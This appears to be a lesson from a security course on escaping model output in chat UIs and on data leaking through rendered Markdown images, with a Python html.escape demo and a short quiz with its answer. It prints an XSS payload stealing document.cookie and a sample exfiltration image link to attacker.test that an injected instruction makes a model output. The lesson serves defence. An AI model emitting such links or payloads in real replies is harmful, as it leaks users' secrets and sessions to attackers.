Lesson 11 / 28

Cross-Site Scripting and Markdown/Link Exfiltration

Escape model text in the browser and watch for data leaking through images and links.

Rendering is an attack surface

If a chat UI inserts model output as raw HTML, a reply containing <img onerror=...> or a <script> tag runs in the user's browser and can steal sessions. Escape output before inserting it into a page (or render through a safe Markdown renderer that disables raw HTML) and set a strict Content Security Policy. A subtler attack uses Markdown images or links: an injected instruction makes the model output ![x](https://attacker.test/log?data=SECRET); when the chat UI renders the image, the browser fetches that URL and sends the secret to the attacker with no click needed. Defences: do not auto-render images or links from untrusted domains (allow-list image hosts), strip or rewrite URLs with query strings in model output, and show the user the link text before it is followed.

Escaping a reply before rendering, run

I ran this with plain Python 3 (standard library only). All attacks here are harmless demonstrations on local data, using no real systems. The raw reply contains an <img onerror=...> element that would execute in a browser. After html.escape the angle brackets and quotes become entities, so the browser shows the text instead of running it.

import html

model_output = 'Thanks! <img src=x onerror="alert(document.cookie)"> Your order has shipped.'
print("raw into a page   :", model_output)
print("escaped for a page:", html.escape(model_output))

Output:

raw into a page   : Thanks! <img src=x onerror="alert(document.cookie)"> Your order has shipped.
escaped for a page: Thanks! &lt;img src=x onerror=&quot;alert(document.cookie)&quot;&gt; Your order has shipped.

Set a Content Security Policy

A strict CSP is a second line of defence if an escaping mistake slips through.

Quick check: How can a rendered Markdown image leak data?

  • It cannot
  • Images always contain viruses
  • Images change the model weights
  • The browser fetches the image URL, and the URL itself can carry a secret to the attacker
Answer

The browser fetches the image URL, and the URL itself can carry a secret to the attacker — No click is needed: rendering triggers the request.